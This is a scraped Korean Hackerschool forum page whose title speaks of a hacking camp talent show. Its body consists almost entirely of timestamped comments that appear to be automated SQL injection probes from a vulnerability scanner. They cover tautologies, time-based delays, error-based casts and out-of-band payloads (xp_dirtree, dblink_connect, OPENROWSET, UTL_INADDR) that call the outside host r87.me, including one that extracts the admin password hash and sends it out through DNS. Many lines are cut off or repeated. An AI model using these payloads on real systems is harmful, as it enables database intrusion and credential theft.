해커스쿨 강좌실 - 제 6회 해킹캠프 장기자랑 모음

%27

-1 OR 1=1

-1 OR 1=1

' WAITFOR DELAY '0:0:25'-- /* 34b4d8b5-5019-45ff-bf20-664949ddd36c */

(select convert(int,cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns)

-1 OR 1=1

'"/$[].>

-1 OR 1=1

'+ (select convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns) +'

1 WAITFOR DELAY '0:0:25'-- /* 49f3894f-a9ac-4fb6-a558-b7d179b8827f */

%27%22%2f%24%5b%5d.%3e

';sleep(25000);ns();' /* 48fedb4b-20b4-412f-b800-6cf757ccc0ed */

exec('xp_dirtree ''\\fblldlariqvdmfwaug2dhimrv_3ldfapfq7kqnma'+'28m.r87.me'+'\c$\a''')

NS-1NO

convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))

WAITFOR DELAY '0:0:25'-- /* 07969a7d-b783-4fb0-ace7-4b63340c7d5b */

-1 AND 'NS='ss

'"/$[].>
Apr 24, 2025 10:32

%27%3bsleep%2825000%29%3bns%28%29%3b%27 /* c7fcce01-46eb-4d8b-8644-4a66893d834a */

'AND 1=cast(0x5f21403264696c656d6d61 as varchar(8000)) or '1'='

-1' OR 1=1 OR 'ns'='ns

declare @h varchar(999)select @h='1'+substring(name+'-'+master.sys.fn_varbintohexstr(ISNULL(password_hash,0x0)),0,63)+'.fblldlariqyiic7nycnilzydoryvbf6rdtc8928e'+'r_m.r87.me' from sys.sql_logins WHERE principal_id=1;exec('xp_dirtree ''\\'+@h+'\c$''')

1) WAITFOR DELAY '0:0:25'-- /* 98ba95ea-50a5-41ee-a036-7f54afd5028c */

-1" OR 1=1 OR "ns"="ns

%27%22%2f%24%5b%5d.%3e
Apr 24, 2025 10:33

';sleep(25000);ns();' /* 1a363306-84c0-47e3-b3cb-fb67ccb91e20 */
Apr 24, 2025 10:33

-1 OR 17-7=10

-1 or 1=1 and (SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)

1;exec('xp_dirtree ''\\fblldlariqh363zczixpblvfgsvty0dubbkfpufn'+'0k4.r87.me'+'\c$\a''')--

') WAITFOR DELAY '0:0:25'-- /* 17315ba6-389e-446f-b7b2-0faf85f8d9b6 */

-1 OR X='ss

%27%3bsleep%2825000%29%3bns%28%29%3b%27 /* 92c3fad7-d6d3-418c-8b60-199f0da1765f */
Apr 24, 2025 10:33

-1' OR 1=1 OR '1'='1

-1';exec('xp_dirtree ''\\fblldlariqfqdvbtnpxwrxwx-vgrs1gj-5ols7sx'+'zc4.r87.me'+'\c$\a''')--

-1' and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'

')) WAITFOR DELAY '0:0:25'-- /* a706ca05-96a7-4a9c-a4f9-eee6cd8c51b9 */

-1' OR 1=1 OR '1'='1

-1" OR 1=1 OR "1"="1

1) exec('xp_dirtree ''\\fblldlariqjnwnlobraxq7xdfrvizcmdcg0ylzno'+'ce4.r87.me'+'\c$\a''')--

-1" and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+"

1)) WAITFOR DELAY '0:0:25'-- /* f696fe38-701a-4d89-a741-9d99babe6dbc */

-1" OR 1=1 OR "1"="1

-1 OR 1=1

(SELECT CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))

1));DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- /* 286813e0-af0b-4d16-8e59-f1ecd109d3f5 */

1')exec('xp_dirtree ''\\fblldlariqvcm3odnaullt3oh50vv8qp3ut-ysql'+'-ca.r87.me'+'\c$\a''')--

-1 OR 1=1

-1 OR 1=1

cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)

1;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- /* c630e996-adee-485a-bef1-371eec181117 */

-1 OR 1=1

1))exec('xp_dirtree ''\\fblldlariqf4tqouc2q6274q8metk_ffqsb5ksgb'+'dl8.r87.me'+'\c$\a''')--

'||cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)||'

1);DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- /* 680c0dc1-8e7a-4eea-8db8-56f4186e1d9b */

NS-1NO

1'))exec('xp_dirtree ''\\fblldlariqv3ernqsgpqxhsfi8fyabqtmsidfbw1'+'u9s.r87.me'+'\c$\a''')--

-1 AND 'NS='ss

(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL)

syscolumns WHERE 2>3;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- /* dcbfec54-33fd-462d-b3e6-62390d4ff4bd */

syscolumns WHERE 2>3;exec('xp_dirtree ''\\fblldlariqzknfgj27iic-vjn8h-p91dksrr7gno'+'3ug.r87.me'+'\c$\a''')--

-1' OR 1=1 OR 'ns'='ns

-1" OR 1=1 OR "ns"="ns

NSFTW

1 + ((SELECT 1 FROM (SELECT SLEEP(25))A))/*'XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR'|"XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR"*/ /* 89340e9b-0aa0-4081-a0df-196f4ec1be39 */

-1 OR 17-7=10

DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','fblldlariqtba_lbjocswyawwwu2ph4fo4c7nvjg'+'ves.r87.me')exec sp_executesql @r

-1 OR X='ss

'+NSFTW+'

1;DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','fblldlariqbhcbefkigknt-dn-nilhdjt0b7kmbc'+'dqq.r87.me')exec sp_executesql @r--

-1' OR 1=1 OR '1'='1

-1 AND ((SELECT 1 FROM (SELECT 2)a WHERE 1=sleep(25)))-- 1 /* 0b35807a-8ed4-4d7e-b83f-77d54bfae13f */

-1' OR 1=1 OR '1'='1

(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)

-1" OR 1=1 OR "1"="1

((select sleep(25)))a-- 1 /* 80c0ab93-fe59-42e5-9943-0886ded0ea6d */

-1';DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','fblldlariqugp8kyd8nryri4kitvjinc8kbdxmdx'+'09c.r87.me')exec sp_executesql @r--

-1" OR 1=1 OR "1"="1

-1'+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'

-1 OR 1=1
Apr 24, 2025 10:36

SELECT dblink_connect('host=fblldlariqdjhpcneti5o4svy_8jtk-psabmd0ld'||'uy8.r87.me user=a password=a connect_timeout=2')

(select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) /* 176e2a05-a529-4d00-8416-9c55a750010a */

-1 OR 1=1
Apr 24, 2025 10:36

-1 OR 1=1
Apr 24, 2025 10:37

-1\'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))-- 1

dblink_connect('host=fblldlariq-gma4rg0wsiwlicxqagiz0udb795gk'||'twk.r87.me user=a password=a connect_timeout=2')

-1 OR 1=1
Apr 24, 2025 10:37

1' || (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) || ' /* 5ec15898-46d1-469f-bba6-49b8ddd8c978 */

'
Apr 24, 2025 10:37

1 procedure analyse(extractvalue(rand(),concat(0x3a,CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))),1)-- 1

cast((SELECT dblink_connect('host=fblldlariq9esrztwikw78_v-hvub6-lc8gtmevc'||'bkq.r87.me user=a password=a connect_timeout=2')) as numeric)

1 + (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) + 1 /* 5501293c-3c12-4823-ab67-03293e9c07f3 */

NS-1NO
Apr 24, 2025 10:37

-1 AND 'NS='ss
Apr 24, 2025 10:37

(length(CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))))

cast((SELECT dblink_connect(chr(104)||chr(111)||chr(115)||chr(116)||chr(61)||chr(102)||chr(98)||chr(108)||chr(108)||chr(100)||chr(108)||chr(97)||chr(114)||chr(105)||chr(113)||chr(49)||chr(97)||chr(97)||chr(98)||chr(107)||chr(51)||chr(98)||chr(51)||chr(108)||chr(114)||chr(54)||chr(97)||chr(110)||chr(105)||chr(120)||chr(51)||chr(56)||chr(101)||chr(122)||chr(103)||chr(122)||chr(105)||chr(108)||chr(106)||chr(107)||chr(113)||chr(51)||chr(115)||chr(102)||chr(117)||chr(101)||chr(116)||chr(101)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(61)||chr(97)||chr(32)||chr(112)||chr(97)||chr(115)||chr(115)||chr(119)||chr(111)||chr(114)||chr(100)||chr(61)||chr(97)||chr(32)||chr(99)||chr(111)||chr(110)||chr(110)||chr(101)||chr(99)||chr(116)||chr(95)||chr(116)||chr(105)||chr(109)||chr(101)||chr(111)||chr(117)||chr(116)||chr(61)||chr(50))) as numeric)

1';SELECT pg_sleep(25)-- /* f67f0a10-3dd1-4afe-8008-bffb72fb658a */

-1' OR 1=1 OR 'ns'='ns
Apr 24, 2025 10:38

'||CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))||'

-1" OR 1=1 OR "ns"="ns
Apr 24, 2025 10:38

'||(SELECT dblink_connect('host=fblldlariqghgnh5fgctdc0nhali4gwn2oaa4auo'||'way.r87.me user=a password=a connect_timeout=2'))||'

1;SELECT pg_sleep(25)-- /* 6991ac5e-c504-4471-ac8d-ee3a19f99f3f */

-1 OR 17-7=10
Apr 24, 2025 10:38

'+convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))+'

-1 OR X='ss
Apr 24, 2025 10:38

(select UTL_INADDR.GET_HOST_ADDRESS('fblldlariqassszn-y_uathbkpcsvg5mnloj0pta'||'qj4.r87.me') from DUAL)

SELECT pg_sleep(25)-- /* 45098701-103c-4cb0-b428-5bbed9d446b5 */

-1' OR 1=1 OR '1'='1
Apr 24, 2025 10:38

-1%27+and+6%3d3+or+1%3d1%2b(SELECT+1+and+ROW(1%2c1)%3e(SELECT+COUNT(*)%2cCONCAT(CHAR(95)%2cCHAR(33)%2cCHAR(64)%2cCHAR(52)%2cCHAR(100)%2cCHAR(105)%2cCHAR(108)%2cCHAR(101)%2cCHAR(109)%2cCHAR(109)%2cCHAR(97)%2c0x3a%2cFLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.COLLATIONS+GROUP+BY+x)a)%2b%27

(length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('fblldlariqvjgspd70joqztp3waebbs5lwjfdat5'||'izw.r87.me') from DUAL))))

-1' OR 1=1 OR '1'='1
Apr 24, 2025 10:39

1);SELECT pg_sleep(25)-- /* d63e2d62-c097-4224-92ad-b356f1a9ee73 */

-1\'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand(0)*2))x from INFORMATION_SCHEMA.COLLATIONS group by x limit 1))-- 1

-1" OR 1=1 OR "1"="1
Apr 24, 2025 10:39

'||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('fblldlariqqb5foxzcnhcom6vtyzmy3wvv7x7gxf'||'bea.r87.me') from DUAL))||'

1');SELECT pg_sleep(25)-- /* bc179185-378f-4e8c-9d4e-0444c6f9ce39 */

-1" OR 1=1 OR "1"="1
Apr 24, 2025 10:39

' UNION ALL SELECT CHAR(95)||CHAR(33)||CHAR(64)||CHAR(54)||CHAR(100)||CHAR(105)||CHAR(108)||CHAR(101)||CHAR(109)||CHAR(109)||CHAR(97) FROM INFORMATION_SCHEMA.SYSTEM_USERS-- zDyA

-1 OR 1=1
Apr 24, 2025 10:39

(select UTL_INADDR.GET_HOST_ADDRESS(chr(102)||chr(98)||chr(108)||chr(108)||chr(100)||chr(108)||chr(97)||chr(114)||chr(105)||chr(113)||chr(48)||chr(122)||chr(100)||chr(108)||chr(105)||chr(116)||chr(107)||chr(97)||chr(103)||chr(48)||chr(48)||chr(114)||chr(97)||chr(51)||chr(105)||chr(122)||chr(122)||chr(101)||chr(118)||chr(114)||chr(113)||chr(110)||chr(122)||chr(116)||chr(101)||chr(112)||chr(100)||chr(118)||chr(116)||chr(122)||chr(102)||chr(119)||chr(121)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL)

1'));SELECT pg_sleep(25)-- /* 79ded6a7-086b-4b4a-afda-0657af8a0841 */

-1 OR 1=1
Apr 24, 2025 10:40

%27
Apr 24, 2025 10:40

(length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS(chr(102)||chr(98)||chr(108)||chr(108)||chr(100)||chr(108)||chr(97)||chr(114)||chr(105)||chr(113)||chr(98)||chr(110)||chr(101)||chr(57)||chr(110)||chr(105)||chr(109)||chr(107)||chr(97)||chr(98)||chr(109)||chr(122)||chr(118)||chr(114)||chr(106)||chr(51)||chr(110)||chr(120)||chr(54)||chr(102)||chr(113)||chr(122)||chr(54)||chr(52)||chr(99)||chr(108)||chr(97)||chr(116)||chr(49)||chr(103)||chr(108)||chr(104)||chr(48)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL))))

-1 OR 1=1
Apr 24, 2025 10:40

(select convert(int,cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns)
Apr 24, 2025 10:40

1));SELECT pg_sleep(25)-- /* 60008f4f-325a-4900-b2af-8726bf9bc5b3 */

-1 OR 1=1
Apr 24, 2025 10:40

'
Apr 24, 2025 10:40

'||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS(chr(102)||chr(98)||chr(108)||chr(108)||chr(100)||chr(108)||chr(97)||chr(114)||chr(105)||chr(113)||chr(97)||chr(49)||chr(117)||chr(119)||chr(117)||chr(111)||chr(101)||chr(113)||chr(105)||chr(107)||chr(98)||chr(55)||chr(99)||chr(108)||chr(104)||chr(116)||chr(118)||chr(54)||chr(98)||chr(117)||chr(108)||chr(120)||chr(105)||chr(108)||chr(117)||chr(109)||chr(55)||chr(122)||chr(98)||chr(51)||chr(110)||chr(115)||chr(105)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL))||'

'+ (select convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns) +'
Apr 24, 2025 10:40

((SELECT(1)FROM(SELECT(SLEEP(25)))A)) /* 64336398-4825-46a4-b7af-5bff96a5a2a9 */

NS-1NO
Apr 24, 2025 10:40

-1 AND 'NS='ss
Apr 24, 2025 10:40

convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))
Apr 24, 2025 10:41

'+((SELECT 1 FROM (SELECT SLEEP(25))A))+' /* efc65233-2501-4a39-9e65-3f0e54b61e2a */

-1' OR 1=1 OR 'ns'='ns
Apr 24, 2025 10:41

exec('xp_dirtree ''\\fblldlariqhfc8c4pvlprrmphi5tohmlwjhghi_j'+'ouw.r87.me'+'\c$\a''')
Apr 24, 2025 10:41

-1" OR 1=1 OR "ns"="ns
Apr 24, 2025 10:41

Smith
Apr 24, 2025 10:41

-1' or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+' /* 5918505d-bce2-45a6-81d5-35440c269f6b */

-1 OR 17-7=10
Apr 24, 2025 10:41

'AND 1=cast(0x5f21403264696c656d6d61 as varchar(8000)) or '1'='
Apr 24, 2025 10:41

declare @h varchar(999)select @h='1'+substring(name+'-'+master.sys.fn_varbintohexstr(ISNULL(password
Apr 24, 2025 10:41

-1 OR X='ss
Apr 24, 2025 10:41

Smith
Apr 24, 2025 10:41

-1 or 1=((SELECT 1 FROM (SELECT SLEEP(25))A)) /* e3307f22-145d-4637-aefd-9011d899a80e */

1;exec('xp_dirtree ''\\fblldlariqsh-8dr3uak1wvijn9l1dl4mlyniv_1'+'_4a.r87.me'+'\c$\a''')--
Apr 24, 2025 10:41

-1' OR 1=1 OR '1'='1
Apr 24, 2025 10:41

-1 or 1=1 and (SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHA
Apr 24, 2025 10:41

-1' OR 1=1 OR '1'='1
Apr 24, 2025 10:41

Smith
Apr 24, 2025 10:41

-1" or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+" /* 10186e0f-d5f9-4d87-ae16-3d0c39d78438 */

-1" OR 1=1 OR "1"="1
Apr 24, 2025 10:42

-1' and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52
Apr 24, 2025 10:42

-1';exec('xp_dirtree ''\\fblldlariq5pggksb8xxn8m5-ye-rbcmgvxb8_hz'+'v_m.r87.me'+'\c$\a''')--
Apr 24, 2025 10:42

-1" OR 1=1 OR "1"="1
Apr 24, 2025 10:42

Smith
Apr 24, 2025 10:42

') AND (SELECT 1 FROM (SELECT(SLEEP(25)))A)-- 1 /* 20f2b613-7e7a-4a51-b69a-868f0fffe840 */

-1" and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52
Apr 24, 2025 10:42

1) exec('xp_dirtree ''\\fblldlariqu_qz0a_wsb-ktm1cvky6aepqxgvtib'+'arw.r87.me'+'\c$\a''')--
Apr 24, 2025 10:42

Smith
Apr 24, 2025 10:42

' AND (SELECT 1 FROM (SELECT(SLEEP(25)))A)-- 1 /* 7681c1f7-827e-4615-a1f0-63880c3ab1b6 */

(SELECT CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109)
Apr 24, 2025 10:42

1')exec('xp_dirtree ''\\fblldlariqocvmwshugxgighearfies2rjwfjly0'+'plu.r87.me'+'\c$\a''')--
Apr 24, 2025 10:42

Smith
Apr 24, 2025 10:43

'XOR(if(now()=sysdate(),sleep(25),0))XOR'NS /* 43cfc79a-08e7-4d5f-8717-3c88f79fe7b1 */

1))exec('xp_dirtree ''\\fblldlariqicyocv_svataquc--dqzg2itargudr'+'qr0.r87.me'+'\c$\a''')--
Apr 24, 2025 10:43

cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||c
Apr 24, 2025 10:43

' WAITFOR DELAY '0:0:25'-- /* 6bce56fb-c70d-41a2-809d-dcf3e1395b94 */
Apr 24, 2025 10:43

1'))exec('xp_dirtree ''\\fblldlariqfetcladv-mbuzavz-n377datqtawpu'+'q9w.r87.me'+'\c$\a''')--
Apr 24, 2025 10:43

'||cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)
Apr 24, 2025 10:43

1 WAITFOR DELAY '0:0:25'-- /* 2f7e69f4-6dd5-44ec-8336-9fe181565eaa */
Apr 24, 2025 10:43

syscolumns WHERE 2>3;exec('xp_dirtree ''\\fblldlariqo3bhtbhncouanvd3hpbjwpljrk9jm9'+'bzc.r87.me'+'\c
Apr 24, 2025 10:43

(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(10
Apr 24, 2025 10:43

WAITFOR DELAY '0:0:25'-- /* 6e63f6a8-6303-4949-98a8-502c0c01d3d9 */
Apr 24, 2025 10:44

DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';
Apr 24, 2025 10:44

NSFTW
Apr 24, 2025 10:44

1;DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'
Apr 24, 2025 10:44

1) WAITFOR DELAY '0:0:25'-- /* 8f087594-bc6c-46f6-a15a-58d4094cb408 */
Apr 24, 2025 10:44

'+NSFTW+'
Apr 24, 2025 10:44

-1';DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''
Apr 24, 2025 10:44

') WAITFOR DELAY '0:0:25'-- /* 6e626572-afd1-46cd-baca-03aa972d1d05 */
Apr 24, 2025 10:44

(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(10
Apr 24, 2025 10:44

')) WAITFOR DELAY '0:0:25'-- /* 44d35268-e670-4404-adbd-76b99feebd07 */
Apr 24, 2025 10:45

SELECT dblink_connect('host=fblldlariqd3it72ygogwhcjm8boijhzj-c2tqpq'||'4nu.r87.me user=a password=a
Apr 24, 2025 10:45

-1'+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHA
Apr 24, 2025 10:45

1)) WAITFOR DELAY '0:0:25'-- /* ef6fd897-4d0f-4e84-ab94-1aa71a3b9f3c */
Apr 24, 2025 10:45

dblink_connect('host=fblldlariq0fyaxmkemmd1iye2blnfaeykhyjkpn'||'k_k.r87.me user=a password=a connec
Apr 24, 2025 10:45

-1\'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(
Apr 24, 2025 10:45

1));DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR
Apr 24, 2025 10:45

cast((SELECT dblink_connect('host=fblldlariq-cfubl1asadlm4nr_ggrlwbqyxltwb'||'glk.r87.me user=a pass
Apr 24, 2025 10:46

1;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/*
Apr 24, 2025 10:46

1 procedure analyse(extractvalue(rand(),concat(0x3a,CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(
Apr 24, 2025 10:46

cast((SELECT dblink_connect(chr(104)||chr(111)||chr(115)||chr(116)||chr(61)||chr(102)||chr(98)||chr(
Apr 24, 2025 10:46

1);DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/
Apr 24, 2025 10:46

(length(CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(1
Apr 24, 2025 10:46

'||(SELECT dblink_connect('host=fblldlariqrcvtatxdgehabo0ckgj18wwx2kjx7p'||'oyw.r87.me user=a passwo
Apr 24, 2025 10:46

syscolumns WHERE 2>3;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)
Apr 24, 2025 10:46

'||CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||
Apr 24, 2025 10:46

(select UTL_INADDR.GET_HOST_ADDRESS('fblldlariqnbe3eez_xw8liptdx4qeqcmlq_l7f2'||'_vw.r87.me') from D
Apr 24, 2025 10:47

1 + ((SELECT 1 FROM (SELECT SLEEP(25))A))/*'XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR'|"XOR(((SEL
Apr 24, 2025 10:47

'+convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))+'
Apr 24, 2025 10:47

(length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('fblldlariqzgtru2y_oap50b6lxzvu5e
Apr 24, 2025 10:47

-1 AND ((SELECT 1 FROM (SELECT 2)a WHERE 1=sleep(25)))-- 1 /* 9b76f23c-2aed-48fc-96cc-b9786823dded *
Apr 24, 2025 10:47

-1%27+and+6%3d3+or+1%3d1%2b(SELECT+1+and+ROW(1%2c1)%3e(SELECT+COUNT(*)%2cCONCAT(CHAR(95)%2cCHAR(33)%
Apr 24, 2025 10:47

Smith
Apr 24, 2025 10:47

'||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('fblldlariq1xmtyeyiki1q3_k6yit7_rewntd
Apr 24, 2025 10:47

((select sleep(25)))a-- 1 /* a3ac8968-85ef-46d2-aaa7-7d169975b635 */
Apr 24, 2025 10:47

Smith
Apr 24, 2025 10:47

-1\'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(
Apr 24, 2025 10:47

(select UTL_INADDR.GET_HOST_ADDRESS(chr(102)||chr(98)||chr(108)||chr(108)||chr(100)||chr(108)||chr(9
Apr 24, 2025 10:48

(select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)|
Apr 24, 2025 10:48

' UNION ALL SELECT CHAR(95)||CHAR(33)||CHAR(64)||CHAR(54)||CHAR(100)||CHAR(105)||CHAR(108)||CHAR(101
Apr 24, 2025 10:48

(length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS(chr(102)||chr(98)||chr(108)||chr(
Apr 24, 2025 10:48

1' || (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr
Apr 24, 2025 10:48

'||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS(chr(102)||chr(98)||chr(108)||chr(108)|
Apr 24, 2025 10:48

1 + (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(1
Apr 24, 2025 10:48

1';SELECT pg_sleep(25)-- /* 474e397a-975f-4ab8-ae02-76f5831c9b72 */
Apr 24, 2025 10:49

Smith
Apr 24, 2025 10:49

Smith
Apr 24, 2025 10:49

1;SELECT pg_sleep(25)-- /* 9b15bacc-39a2-4f04-aaac-512c584cc5fe */
Apr 24, 2025 10:49

Smith
Apr 24, 2025 10:49

SELECT pg_sleep(25)-- /* 3e52fb63-cfdd-412b-a7b9-f4202e430290 */
Apr 24, 2025 10:50

Smith
Apr 24, 2025 10:50

1);SELECT pg_sleep(25)-- /* e0c8d94f-2d6d-455e-ad8e-390a4e2ae499 */
Apr 24, 2025 10:50

Smith
Jun 19, 2025 12:36

Smith
Jun 19, 2025 12:39

-1 OR 1=1

-1 OR 1=1

%27

' WAITFOR DELAY '0:0:25'-- /* 1aba7177-6089-4c7a-87e8-4740fd7faee1 */

